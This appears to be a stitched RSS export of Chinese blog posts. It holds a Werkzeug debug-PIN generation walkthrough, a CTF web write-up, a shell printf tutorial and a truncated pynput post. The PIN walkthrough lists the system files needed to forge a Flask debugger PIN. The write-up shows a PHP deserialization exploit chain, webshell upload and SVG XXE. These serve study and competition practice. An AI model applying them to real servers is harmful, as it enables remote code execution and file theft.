这是一个在浏览器中运行的、完全交互式的 `Python Shell`，拥有与运行 Flask 应用的用户完全相同的权限，它必须使用pin码登录，且只允许来自`127.0.0.1`（本地回环）的请求。

pin码的生成具有稳定和唯一性，只要用户名、主机名和项目路径不变，每次生成的 PIN 码都是一样的，这在我们之后阅读源码后就能得知，这个特性确保了pin码在相同的环境下唯一，且不会随机改变。

:::note
目前所有的源码均在Python 3.13，Flask 3.1.2 Werkzeug 3.1.3 版本中翻阅得到，不同版本可能有不同逻辑，请注意区分
:::

## flask&gt;app.py

在Flask(App).run()中，我们传入`debug=True`，这个参数通过`werkzeug.serving.run_simple()`，最终被传入`Werkzeug`

```python title=app.py&gt;Flask&gt;run showLineNumbers startLineNumber=653 &quot;run_simple&quot; {10}
        options.setdefault(&quot;use_reloader&quot;, self.debug)
        options.setdefault(&quot;use_debugger&quot;, self.debug)
        options.setdefault(&quot;threaded&quot;, True)

        cli.show_server_banner(self.debug, self.name)

        from werkzeug.serving import run_simple

        try:
            run_simple(t.cast(str, host), port, self, **options)
        finally:
            # reset the first request information if the development server
            # reset normally.  This makes it possible to restart the server
            # without reloader and that stuff from an interactive shell.
            self._got_first_request = False
```

我们跟进`run_simple`，来到`Werkzeug`的源码下

## werkzeug&gt;serving

```python title=serving.py&gt;run_simple showLineNumbers startLineNumber=1080 &quot;DebuggedApplication&quot;
    if use_debugger:
        from .debug import DebuggedApplication

        application = DebuggedApplication(application, evalex=use_evalex)
        # Allow the specified hostname to use the debugger, in addition to
        # localhost domains.
        application.trusted_hosts.append(hostname)
```

跟进`DebuggedApplication`


## werkzeug&gt;debug&gt;__init__.py

```python title=__init__.py&gt;DebuggedApplication showLineNumbers startLineNumber=313 &quot;get_pin_and_cookie_name&quot;
    @property
    def pin(self) -&gt; str | None:
        if not hasattr(self, &quot;_pin&quot;):
            pin_cookie = get_pin_and_cookie_name(self.app)
            self._pin, self._pin_cookie = pin_cookie  # type: ignore
        return self._pin
```

在这里，我们看到`self._pin`的生成依赖于`get_pin_and_cookie_name()`，跟进这个函数

```python title=__init__.py&gt;get_pin_and_cookie_name showLineNumbers startLineNumber=142
def get_pin_and_cookie_name(
    app: WSGIApplication,
) -&gt; tuple[str, str] | tuple[None, None]:
    &quot;&quot;&quot;Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    &quot;&quot;&quot;
    pin = os.environ.get(&quot;WERKZEUG_DEBUG_PIN&quot;)
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == &quot;off&quot;:
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace(&quot;-&quot;, &quot;&quot;).isdecimal():
        # If there are separators in the pin, return it directly
        if &quot;-&quot; in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, &quot;__module__&quot;, t.cast(object, app).__class__.__module__)
    username: str | None

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    # Python &gt;= 3.13 only raises OSError
    except (ImportError, KeyError, OSError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, &quot;__name__&quot;, type(app).__name__),
        getattr(mod, &quot;__file__&quot;, None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode()
        h.update(bit)
    h.update(b&quot;cookiesalt&quot;)

    cookie_name = f&quot;__wzd{h.hexdigest()[:20]}&quot;

    # If we need to generate a pin we salt it a bit more so that we don&apos;t
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b&quot;pinsalt&quot;)
        num = f&quot;{int(h.hexdigest(), 16):09d}&quot;[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don&apos;t have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = &quot;-&quot;.join(
                    num[x : x + group_size].rjust(group_size, &quot;0&quot;)
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name
```

阅读代码，我们看到pin可以由系统环境变量显式指定，也可由werkzeug生成，

生成的pin主要是以下两部分：

```python
probably_public_bits = [
    username,
    modname,
    getattr(app, &quot;__name__&quot;, type(app).__name__), # 应用名称
    getattr(mod, &quot;__file__&quot;, None), # 模块文件路径
]

private_bits = [
    str(uuid.getnode()), # 网卡MAC地址
    get_machine_id(),
]
```

### username

先看`username`，跟进到`getpass.getuser()`

`getpass`是Python标准库中的一个单文件模块，用于安全地获取用户输入的敏感信息（如密码），

`getuser()`功能很简单直白，就是获得当前用户的用户名

```python title=getpass.py&gt;getuser showLineNumbers startLineNumber=154
def getuser():
    &quot;&quot;&quot;Get the username from the environment or password database.

    First try various environment variables, then the password
    database.  This works on Windows as long as USERNAME is set.
    Any failure to find a username raises OSError.

    .. versionchanged:: 3.13
        Previously, various exceptions beyond just :exc:`OSError`
        were raised.
    &quot;&quot;&quot;

    for name in (&apos;LOGNAME&apos;, &apos;USER&apos;, &apos;LNAME&apos;, &apos;USERNAME&apos;):
        user = os.environ.get(name)
        if user:
            return user

    try:
        import pwd
        return pwd.getpwuid(os.getuid())[0]
    except (ImportError, KeyError) as e:
        raise OSError(&apos;No username set in the environment&apos;) from e
```

### modname

modname是app对象或类的模块名称

```python
modname = getattr(app, &quot;__module__&quot;, typing.cast(object, app).__class__.__module__)
```

### machine_id

跟进到`get_machine_id()`

```python title=werkzeug&gt;debug&gt;__init__.py&gt;get_machine_id showLineNumbers startLineNumber=51
def get_machine_id() -&gt; str | bytes | None:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -&gt; str | bytes | None:
        linux = b&quot;&quot;

        # machine-id is stable across boots, boot_id is not.
        for filename in &quot;/etc/machine-id&quot;, &quot;/proc/sys/kernel/random/boot_id&quot;:
            try:
                with open(filename, &quot;rb&quot;) as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open(&quot;/proc/self/cgroup&quot;, &quot;rb&quot;) as f:
                linux += f.readline().strip().rpartition(b&quot;/&quot;)[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer&apos;s serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import PIPE
            from subprocess import Popen

            dump = Popen(
                [&quot;ioreg&quot;, &quot;-c&quot;, &quot;IOPlatformExpertDevice&quot;, &quot;-d&quot;, &quot;2&quot;], stdout=PIPE
            ).communicate()[0]
            match = re.search(b&apos;&quot;serial-number&quot; = &lt;([^&gt;]+)&apos;, dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        if sys.platform == &quot;win32&quot;:
            import winreg

            try:
                with winreg.OpenKey(
                    winreg.HKEY_LOCAL_MACHINE,
                    &quot;SOFTWARE\\Microsoft\\Cryptography&quot;,
                    0,
                    winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
                ) as rk:
                    guid: str | bytes
                    guid_type: int
                    guid, guid_type = winreg.QueryValueEx(rk, &quot;MachineGuid&quot;)

                    if guid_type == winreg.REG_SZ:
                        return guid.encode()

                    return guid
            except OSError:
                pass

        return None

    _machine_id = _generate()
    return _machine_id
```

在linux系统上，machine_id就是由`/etc/machine-id`和`/proc/self/cgroup`拼接而成的，
当`/etc/machine-id`b不存在时，则会读取`/proc/sys/kernel/random/boot_id`和后者拼接。

## flask中

经过上面的一系列读取，在linux flask服务器上，我们最终会得到pin如下

```python
probably_public_bits = [
    username,        # 当前用户名，能从/etc/passwd或报错信息中读出
    modname,         # 应用模块名，一般为flask.app
    app.__name__,    # 应用名称，一般为Flask
    mod.__file__,    # 模块文件路径，可在报错信息中读出，一般为/home/&lt;username&gt;/.local/lib/python3.13/site-packages/flask/app.py
]

private_bits = [
    uuid.getnode(),  # 网卡MAC地址，可在/sys/class/net/eth0/address中读出16进制串，去掉分割的-转为10进制
    get_machine_id() # 机器唯一ID
]
```

### 一图流


```mermaid

---
config:
    layout: elk
    elk:
        mergeEdges: true
        nodePlacementStrategy: NETWORK_SIMPLEX
---

flowchart TD
    B[/ /etc/machine-id /] -.-&gt;|优先| A
    C[/ /proc/sys/kernel/random/boot_id /] -.-&gt; A
    A[ + /proc/self/cgroup ] --&gt; machineid --&gt; pin

    /etc/passwd --&gt; username --&gt; pin

    flask.app --&gt; modname --&gt; pin

    Flask --&gt; appname --&gt; pin

    X[ /home/`username`/.local/lib/python3.13/site-packages/flask/app.py ]
        --&gt; modfile
        --&gt; pin

    /sys/class/net/eth0/address
        --&gt; 删去分隔符\&quot;-\&quot;
        --&gt; 转为10进制
        --&gt; uuid
        --&gt; pin
```

---

[^1]: [flask debug 模式下的pin码](https://squid1lll.github.io/2024/09/20/flask-debug-%E6%A8%A1%E5%BC%8F%E4%B8%8B%E7%9A%84pin%E7%A0%81/)</content:encoded></item><item><title>第八届浙江省大学生网络与信息安全竞赛初赛 Web 个人题解</title><link>https://blog.erina.top/blog/%E7%AC%AC%E5%85%AB%E5%B1%8A%E6%B5%99%E6%B1%9F%E7%9C%81%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E4%B8%8E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E5%88%9D%E8%B5%9B/</link><guid isPermaLink="true">https://blog.erina.top/blog/%E7%AC%AC%E5%85%AB%E5%B1%8A%E6%B5%99%E6%B1%9F%E7%9C%81%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E4%B8%8E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E5%88%9D%E8%B5%9B/</guid><description>第八届浙江省大学生网络与信息安全竞赛初赛中web的3题和数据安全的前两题wp</description><content:encoded># Web

## Upload1
简单的文件上传，没有过滤后缀名，但是过滤了php长标签，
直接上传后缀标签的短标签一句话木马即可。

![Upload1.1](./Upload1.1.png)

传入cmd参数，得到shell

![Upload1.2](./Upload1.2.png)

## EzSerialize
&gt; soe@sy

简单的php反序列化，调用链为：__toString -&gt; __call -&gt; execute，编写代码如下，得到flag.php的内容

```php
&lt;?php
// __toString -&gt; __call -&gt; execute

class User {
    public $name;
    public $role;
}

class Admin {
    public $command;
}

class FileReader {
    public $filename;
}

$fr = new FileReader();
$fr-&gt;filename = &apos;flag.php&apos;;

$admin = new Admin();
$admin-&gt;command = $fr;

$user = new User();
$user-&gt;role = $admin;
$user-&gt;name = &apos;test&apos;;

echo serialize($user) . &quot;\n&quot;;
echo base64_encode(serialize($user));
?&gt;
```

## UploadKing
&gt; 你能得到King的认可吗

提示可以上传svg文件，尝试在svg中注入xml外部实体

![UploadKing.1](./UploadKing.1.png)

得到文件链接，打开发现xml内容被成功包含了

![UploadKing.2](./UploadKing.2.png)

使用网页上的图片查看工具查看，得到flag

![UploadKing.3](./UploadKing.3.png)

# 数据安全

## dsEnData
&gt; 某公司为了保护用户隐私，对个人敏感信息进行了加密脱敏处理。现发现其使用的加密脱敏算法为附件中“encode.py”所示，附件中的“encoded_data.csv”文件即为包含了经过加密脱敏处理的用户信息。现需要作为数据分析师的你对这些加密脱敏后的数据进行恢复。将恢复后的的信息保存到 csv 文件中（文件编码为 utf-8），并将该文件上传至该题的校验平台（在该校验平台里可以下载该题的示例文件 example.csv，可作为该题的格式参考），校验达标即可拿到 flag。（特别声明: 本题所有数据均为随机生成）


```python title=encode.py
import base64

def encode(D, K=&apos;a1a60171273e74a6&apos;):
    res = b&apos;&apos;
    for i in range(len(D)):
        c = K[i+1&amp;15]
        res += bytes.fromhex(hex(D[i]^ord(c))[2:].zfill(2))
    return res
```

原加密函数就是一个简单的异或+base64编码，对应的解密就是再异或一次


```python
import csv
import base64

def myencode(D, K=&apos;a1a60171273e74a6&apos;):
    res = b&apos;&apos;
    for i in range(len(D)):
        c = K[i+1&amp;15]
        res += bytes.fromhex(hex(D[i]^ord(c))[2:].zfill(2))
    return res

def mydecode(encode_data):
    decode_data = base64.b64decode(encode_data)
    original_data = myencode(decode_data)
    # print(original_data.decode())
    return original_data.decode()

csv_file = &apos;encoded_data.csv&apos;
# with open(csv_file, mode=&apos;r&apos;, encoding=&apos;utf-8&apos;) as file:
# 这里图个方便就不用with管理上下文了
reader = csv.reader(open(csv_file, mode=&apos;r&apos;, encoding=&apos;utf-8&apos;))
writer = csv.writer(open(&apos;decoded_data.csv&apos;, mode=&apos;a&apos;, encoding=&apos;utf-8&apos;, newline=&apos;&apos;))
for row in reader:
    # print(row[1])
    try:
        # print(mydecode(row[1].strip()))
        # row[0] = mydecode(row[0].strip()) # 第0列的数据不用解密
        row[1] = mydecode(row[1].strip())
        row[2] = mydecode(row[2].strip())
        row[3] = mydecode(row[3].strip())
        row[4] = mydecode(row[4].strip())
        writer.writerow(row)
    except Exception as e:
        pass
```

这样的出来的数据正确率达到了`99%`，直接提交获得flag

## dssql
&gt; 选手需要从SQL文件中恢复出用户身份信息表、账户权限信息表和操作信息表三个数据表，然后根据文档规范进行数据清洗，找出所有存在违规行为的账户以及对应的违规类型,将结果保存为csv文件提交到验证靶机若准确率达标则会给出flag。
题目分值：

这道题简直又臭又长，需要根据每个错误类型编写对用的检查函数，
这里我直接把每个错误类型的要求写进函数文档里了，故不列举。

```python
from collections import defaultdict
import csv

users = defaultdict(list[str]) # 使用defaultdict快速向不存在的键写入值
operations = []
violations = {&quot;信息违规&quot;: [], &quot;操作违规&quot;: []} # 使用字典避免重复

database = &quot;data.sql&quot;

def name_valid(name):
    &quot;&quot;&quot;
    必须为2-4个中文字符
    不能为空或非字符串类型
    必须完全由中文字符组成
    不允许包含数字、英文字母或特殊符号
    &quot;&quot;&quot;
    if not name:
        return False
    if not all(&apos;\u4e00&apos; &lt;= char &lt;= &apos;\u9fa5&apos; for char in name): # 使用unicode编码范围检查中文
        return False
    if not (2 &lt;= len(name) &lt;= 4):
        return False
    return True

def phonenumber_valid(phone):
    &quot;&quot;&quot;
    必须为11位数字
    必须以1开头
    第二位必须是3-9的数字
    不能包含非数字字符
    &quot;&quot;&quot;
    return len(phone) == 11 and phone.isdigit() and phone[0] == &apos;1&apos; and phone[1] in &apos;23456789&apos;

def sfz_valid(sfz): # 身份证的英文id和card都重复了，只好祭出拼音大法
    &quot;&quot;&quot;
    必须为18位字符
    前17位必须为数字
    最后一位可以是数字或X/x
    必须通过身份证校验码算法验证
    校验码算法：前17位数字分别与权重[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]相乘后求和，对11取模，根据结果查表[&apos;1&apos;,&apos;0&apos;,&apos;X&apos;,&apos;9&apos;,&apos;8&apos;,&apos;7&apos;,&apos;6&apos;,&apos;5&apos;,&apos;4&apos;,&apos;3&apos;,&apos;2&apos;]得到校验码
    &quot;&quot;&quot;
    if not (len(sfz) == 18 and sfz[:17].isdigit() and sfz[17] in &apos;0123456789Xx&apos;):
        return False
    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    total = sum(int(sfz[i]) * weights[i] for i in range(17))
    check_digit = [&apos;1&apos;, &apos;0&apos;, &apos;X&apos;, &apos;9&apos;, &apos;8&apos;, &apos;7&apos;, &apos;6&apos;, &apos;5&apos;, &apos;4&apos;, &apos;3&apos;, &apos;2&apos;][total % 11]
    return check_digit == sfz[17].upper()

def registertime_valid(date_str, sfz):
    &quot;&quot;&quot;
    格式必须为YYYY/MM/DD
    月份必须在1至12之间
    日期必须在1至31之间
    必须是真实存在的日期（如不是2月30日等）
    必须在2015/1/1至2025/10/31范围内
    必须晚于或等于身份证号中的出生日期
    &quot;&quot;&quot;
    from datetime import datetime
    # 使用datetime库的日期格式化简单快捷的避免又臭又长的日期检验和日期比较
    try:
        date = datetime.strptime(date_str, &apos;%Y/%m/%d&apos;)
        min_date = datetime(2015, 1, 1)
        max_date = datetime(2025, 10, 31)
        birth_date = datetime.strptime(sfz[6:14], &apos;%Y%m%d&apos;)
        return min_date &lt;= date &lt;= max_date and date &gt;= birth_date
    except ValueError:
        return False

def card_valid(card):
    &quot;&quot;&quot;
    必须为16-19位数字
    必须通过Luhn算法验证
    Luhn算法：从右到左，偶数位数字乘以2，如果结果大于9则减去9，所有数字相加的和必须能被10整除
    &quot;&quot;&quot;
    if not (16 &lt;= len(card) &lt;= 19 and card.isdigit()):
        return False
    total = 0
    for i, digit in enumerate(card[::-1]):
        n = int(digit)
        if i % 2 == 1:
            n *= 2
            n = n - 9 if n &gt; 9 else n
        total += n
    return total % 10 == 0

def operation_valid(op, power):
    &quot;&quot;&quot;
    客服访问了商品管理或系统日志模块
    财务访问了用户管理、商品管理或系统日志模块
    商品经理访问了用户管理、订单管理或系统日志模块
    系统审计员访问了用户管理、商品管理或订单管理模块
    &quot;&quot;&quot;
    &quot;&quot;&quot;
    管理员：可以访问所有模块 (user_management, product_management, order_management,
    system_logs)
    客服：只能访问用户管理(user_management)和订单管理(order_management)模块
    财务：只能访问订单管理(order_management)模块
    商品经理：只能访问商品管理(product_management)模块
    系统审计员：只能访问系统日志(system_logs)模块
    &quot;&quot;&quot;
    valid_operations = {
        &quot;管理员&quot;: [&quot;user_management&quot;, &quot;product_management&quot;, &quot;order_management&quot;, &quot;system_logs&quot;],
        &quot;客服&quot;: [&quot;user_management&quot;, &quot;order_management&quot;],
        &quot;财务&quot;: [&quot;order_management&quot;],
        &quot;商品经理&quot;: [&quot;product_management&quot;],
        &quot;系统审计员&quot;: [&quot;system_logs&quot;],
    }
    return op in valid_operations[power]


# 不知道怎么读sql，只好逐行处理了www
with open(database, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
    lines = f.readlines()
    for line in lines:
        if line.startswith(&quot;INSERT INTO `users`&quot;):
            records = line.split(&quot;,&quot;)
            userid = records[0].split(&quot;(&quot;)[-1]
            name = records[1].strip().strip(&quot;&apos;&quot;)
            phonenumber = records[2].strip().strip(&quot;&apos;&quot;)
            sfz = records[3].strip().strip(&quot;&apos;&quot;)
            card = records[4].strip().strip(&quot;&apos;&quot;)
            registertime = records[5].strip().strip(&quot;&apos;&quot;)
            power = records[6].strip().strip(&quot;&apos;&quot;).strip(&quot;&apos;);&quot;)

            users[userid] = [name, phonenumber, sfz, card, registertime, power]

        if line.startswith(&quot;INSERT INTO `operations`&quot;):
            records = line.split(&quot;,&quot;)
            opid = records[0].split(&quot;(&quot;)[-1]
            user = records[1].strip().strip(&quot;&apos;&quot;)
            optype = records[2].strip().strip(&quot;&apos;&quot;)
            opmodule = records[3].strip().strip(&quot;&apos;&quot;)
            time = records[4].strip().strip(&quot;&apos;&quot;).strip(&quot;&apos;);&quot;)

            operations.append([opid, user, optype, opmodule, time])

file = &quot;violations.csv&quot;
writer = csv.writer(open(file, &apos;w&apos;, newline=&apos;&apos;, encoding=&apos;utf-8&apos;))
writer.writerow([&quot;姓名&quot;, &quot;违规类型&quot;])

for userid, info in users.items():
    name = info[0]
    phonenumber = info[1]
    sfz = info[2]
    card = info[3]
    registertime = info[4]
    power = info[5]
    if not name_valid(name):
        violations[&quot;信息违规&quot;].append(name)

    if not phonenumber_valid(phonenumber):
        violations[&quot;信息违规&quot;].append(name)

    if not sfz_valid(sfz):
        violations[&quot;信息违规&quot;].append(name)

    if not card_valid(card):
        violations[&quot;信息违规&quot;].append(name)

    if not registertime_valid(registertime, sfz):
        violations[&quot;信息违规&quot;].append(name)

for op in operations:
    userid = op[1]
    opmodule = op[3]
    username = users[userid][0]
    power = users[userid][5]

    if not operation_valid(opmodule, power):
        violations[&quot;操作违规&quot;].append(username)

for (key, value) in violations.items():
    for name in set(value):
        writer.writerow([name, key])
```

这样生成的文件正确率达到了`100%`，直接提交，得到flag</content:encoded></item><item><title>Shell printf</title><link>https://blog.erina.top/blog/shell_printf/</link><guid isPermaLink="true">https://blog.erina.top/blog/shell_printf/</guid><description>shell中printf命令的使用方法，包括基本语法、格式说明符、格式控制、字符转义和颜色输出等功能</description><content:encoded>相比常用的`echo`命令，我们在使用bash时经常会忽视自带的`printf`命令，转而使用其他语言的print函数，
但其实`printf`命令起源于C语言中的`printf()`函数，它的行为与C语言非常相似。
它提供了更多的格式化选项，让输出控制更加精确。

## 基本语法

```bash
printf &quot;格式字符串&quot; [参数1] [参数2] ...
```

其中：
- 格式字符串：包含普通字符和格式说明符
- 参数：要格式化的值，可以有多个

## 格式说明符

`printf`支持多种格式说明符，常用的包括：

| 说明符 | 说明 |
|--------|------|
| %s | 字符串 |
| %d | 十进制整数 |
| %f | 浮点数 |
| %c | 字符 |
| %x | 十六进制数（小写） |
| %X | 十六进制数（大写） |
| %o | 八进制数 |
| %e | 科学计数法（小写e） |
| %E | 科学计数法（大写E） |

### 基本示例

```bash
# 字符串格式化
printf &quot;Hello, %s!\n&quot; &quot;World&quot;

# 数字格式化
printf &quot;Dec: %d，Hex: %x，Oct: %o\n&quot; 255 255 255

# 浮点数格式化
printf &quot;%f，保留2位小数：%.2f\n&quot; 3.14159 3.14159
```

## 格式控制

### 宽度控制

```bash
# 固定宽度输出
printf &quot;%10s|%10s|%10s\n&quot; &quot;姓名&quot; &quot;年龄&quot; &quot;分数&quot;
printf &quot;%10s|%10d|%10.2f\n&quot; &quot;张三&quot; 25 85.5
printf &quot;%10s|%10d|%10.2f\n&quot; &quot;李四&quot; 30 92.5

# 输出：
#      姓名|        年龄|        分数
#      张三|         25|      85.50
#      李四|         30|      92.50
```

### 对齐方式

```bash
# 左对齐（使用-）
printf &quot;%-10s|%-10s|%-10s\n&quot; &quot;姓名&quot; &quot;年龄&quot; &quot;分数&quot;
printf &quot;%-10s|%-10d|%-10.2f\n&quot; &quot;张三&quot; 25 85.5
printf &quot;%-10s|%-10d|%-10.2f\n&quot; &quot;李四&quot; 30 92.5

# 输出：
# 姓名      |年龄      |分数      
# 张三      |25        |85.50     
# 李四      |30        |92.50     
```

### 前导零

```bash
# 数字前导零
printf &quot;%05d\n&quot; 123    # 输出：00123
printf &quot;%010.2f\n&quot; 3.14  # 输出：000003.1400
```

## 字符转义

### 基本转义字符

- `\\` - 反斜杠
- `\a` - 警告字符（通常为响铃）
- `\b` - 退格
- `\f` - 换页
- `\n` - 换行
- `\r` - 回车
- `\t` - 水平制表符
- `\v` - 垂直制表符

### 八进制和十六进制转义

- `\0NNN` - 八进制值 NNN (1到3位数字) 表示的字符
- - 直接使用`\NNN`八进制数也可
- `\xHH` - 十六进制值 HH (1到2位数字) 表示的字符

## 颜色转义

我来详细介绍 Shell 中的颜色转义序列，这通常被称为 ANSI 转义码或 ANSI 颜色代码。

### Shell 颜色转义基础

在 Shell 中，颜色转义是通过 ANSI 转义序列实现的，基本格式为：

```bash
\033[&lt;代码&gt;m
```

或

```bash
\e[&lt;代码&gt;m
```

其中：
- `\033` 或 `\e` 表示 ESC (Escape) 字符
- `[` 是控制序列引导符
- `&lt;代码&gt;` 是具体的颜色或样式代码
- `m` 表示设置图形显示模式

### 基本颜色代码

#### 文本颜色
- `30` - 黑色
- `31` - 红色
- `32` - 绿色
- `33` - 黄色
- `34` - 蓝色
- `35` - 洋红色
- `36` - 青色
- `37` - 白色

#### 背景颜色
- `40` - 黑色背景
- `41` - 红色背景
- `42` - 绿色背景
- `43` - 黄色背景
- `44` - 蓝色背景
- `45` - 洋红色背景
- `46` - 青色背景
- `47` - 白色背景

### 样式代码
- `0` - 重置所有样式
- `1` - 粗体/加亮
- `2` - 暗淡
- `3` - 斜体
- `4` - 下划线
- `5` - 慢闪烁
- `6` - 快闪烁
- `7` - 反显（前景色和背景色交换）
- `8` - 隐藏
- `9` - 删除线

### 高级颜色（256色）

#### 标准16色的亮色版本
- `90` - 亮黑色
- `91` - 亮红色
- `92` - 亮绿色
- `93` - 亮黄色
- `94` - 亮蓝色
- `95` - 亮洋红色
- `96` - 亮青色
- `97` - 亮白色

#### 背景亮色
- `100` - 亮黑色背景
- `101` - 亮红色背景
- `102` - 亮绿色背景
- `103` - 亮黄色背景
- `104` - 亮蓝色背景
- `105` - 亮洋红色背景
- `106` - 亮青色背景
- `107` - 亮白色背景

#### 256色模式
- `38;5;&lt;n&gt;` - 设置前景色为256色中的第n种颜色 (0-255)
- `48;5;&lt;n&gt;` - 设置背景色为256色中的第n种颜色 (0-255)

#### RGB真彩色
- `38;2;&lt;r&gt;;&lt;g&gt;;&lt;b&gt;` - 设置前景色为RGB值
- `48;2;&lt;r&gt;;&lt;g&gt;;&lt;b&gt;` - 设置背景色为RGB值

### 实用示例

```bash
#!/bin/bash

# 基本颜色示例
printf &quot;\033[31m红色文本\033[0m\n&quot;
printf &quot;\033[32m绿色文本\033[0m\n&quot;
printf &quot;\033[33m黄色文本\033[0m\n&quot;
printf &quot;\033[34m蓝色文本\033[0m\n&quot;
printf &quot;\033[35m洋红色文本\033[0m\n&quot;
printf &quot;\033[36m青色文本\033[0m\n&quot;
printf &quot;\033[37m白色文本\033[0m\n&quot;

# 背景颜色示例
printf &quot;\033[41m红色背景\033[0m\n&quot;
printf &quot;\033[42m绿色背景\033[0m\n&quot;
printf &quot;\033[43m黄色背景\033[0m\n&quot;
printf &quot;\033[44m蓝色背景\033[0m\n&quot;
printf &quot;\033[45m洋红色背景\033[0m\n&quot;
printf &quot;\033[46m青色背景\033[0m\n&quot;
printf &quot;\033[47m白色背景\033[0m\n&quot;

# 样式示例
printf &quot;\033[1m粗体文本\033[0m\n&quot;
printf &quot;\033[4m下划线文本\033[0m\n&quot;
printf &quot;\033[7m反显文本\033[0m\n&quot;

# 组合示例
printf &quot;\033[1;31m粗体红色文本\033[0m\n&quot;
printf &quot;\033[4;33m下划线黄色文本\033[0m\n&quot;
printf &quot;\033[1;44;37m蓝底白字粗体文本\033[0m\n&quot;

# 256色示例
for i in {0..255}; do
    printf &quot;\033[38;5;${i}m颜色%03d\033[0m &quot; $i
    if [ $((i % 16)) -eq 15 ]; then
        printf &quot;\n&quot;
    fi
done

# RGB真彩色示例
printf &quot;\033[38;2;255;0;0m纯红色(RGB:255,0,0)\033[0m\n&quot;
printf &quot;\033[38;2;0;255;0m纯绿色(RGB:0,255,0)\033[0m\n&quot;
printf &quot;\033[38;2;0;0;255m纯蓝色(RGB:0,0,255)\033[0m\n&quot;
```

### 实用技巧

1. **定义颜色变量**：
```bash
# 定义常用颜色变量
RED=&apos;\033[0;31m&apos;
GREEN=&apos;\033[0;32m&apos;
YELLOW=&apos;\033[0;33m&apos;
BLUE=&apos;\033[0;34m&apos;
NC=&apos;\033[0m&apos; # No Color

# 使用变量
printf &quot;${RED}这是红色文本${NC}\n&quot;
printf &quot;${GREEN}这是绿色文本${NC}\n&quot;
```

2. **创建颜色函数**：
```bash
# 创建颜色输出函数
color_echo() {
    local color=$1
    local text=$2
    
    case $color in
        red)    printf &quot;\033[0;31m%s\033[0m\n&quot; &quot;$text&quot; ;;
        green)  printf &quot;\033[0;32m%s\033[0m\n&quot; &quot;$text&quot; ;;
        yellow) printf &quot;\033[0;33m%s\033[0m\n&quot; &quot;$text&quot; ;;
        blue)   printf &quot;\033[0;34m%s\033[0m\n&quot; &quot;$text&quot; ;;
        *)      printf &quot;%s\n&quot; &quot;$text&quot; ;;
    esac
}

# 使用函数
color_echo red &quot;这是红色文本&quot;
color_echo green &quot;这是绿色文本&quot;
```

3. **检测终端颜色支持**：
```bash
# 检测终端是否支持颜色
if [ -t 1 ]; then
    ncolors=$(tput colors)
    if [ -n &quot;$ncolors&quot; ] &amp;&amp; [ &quot;$ncolors&quot; -ge 8 ]; then
        RED=&apos;\033[0;31m&apos;
        GREEN=&apos;\033[0;32m&apos;
        YELLOW=&apos;\033[0;33m&apos;
        BLUE=&apos;\033[0;34m&apos;
        NC=&apos;\033[0m&apos; # No Color
    fi
fi

printf &quot;${RED}如果支持颜色，这将是红色${NC}\n&quot;
```

4. **在脚本中创建彩色表格**：
```bash
# 创建彩色表格
printf &quot;+------------+------------+------------+\n&quot;
printf &quot;|\033[36m%-12s\033[0m|\033[36m%-12s\033[0m|\033[36m%-12s\033[0m|\n&quot; &quot;列1&quot; &quot;列2&quot; &quot;列3&quot;
printf &quot;+------------+------------+------------+\n&quot;
printf &quot;|\033[32m%-12s\033[0m|\033[33m%-12s\033[0m|\033[34m%-12s\033[0m|\n&quot; &quot;数据1&quot; &quot;数据2&quot; &quot;数据3&quot;
printf &quot;|\033[32m%-12s\033[0m|\033[33m%-12s\033[0m|\033[34m%-12s\033[0m|\n&quot; &quot;数据4&quot; &quot;数据5&quot; &quot;数据6&quot;
printf &quot;+------------+------------+------------+\n&quot;
```

## printf与echo的区别

1. **格式化能力**：
   - `printf`支持格式化字符串
   - `echo`只支持简单的文本输出

2. **换行行为**：
   - `printf`默认不添加换行符
   - `echo`默认添加换行符</content:encoded></item><item><title>pynput第三方库</title><link>https://blog.erina.top/blog/pynput%E7%AC%AC%E4%B8%89%E6%96%B9%E5%BA%93/</link><guid isPermaLink="true">https://blog.erina.top/blog/pynput%E7%AC%AC%E4%B8%89%E6%96%B9%E5%BA%93/</guid><description>通过python控制/监听键盘/鼠标行为的第三方库pynput的简单介绍</description><content:encoded># pynput第三方库

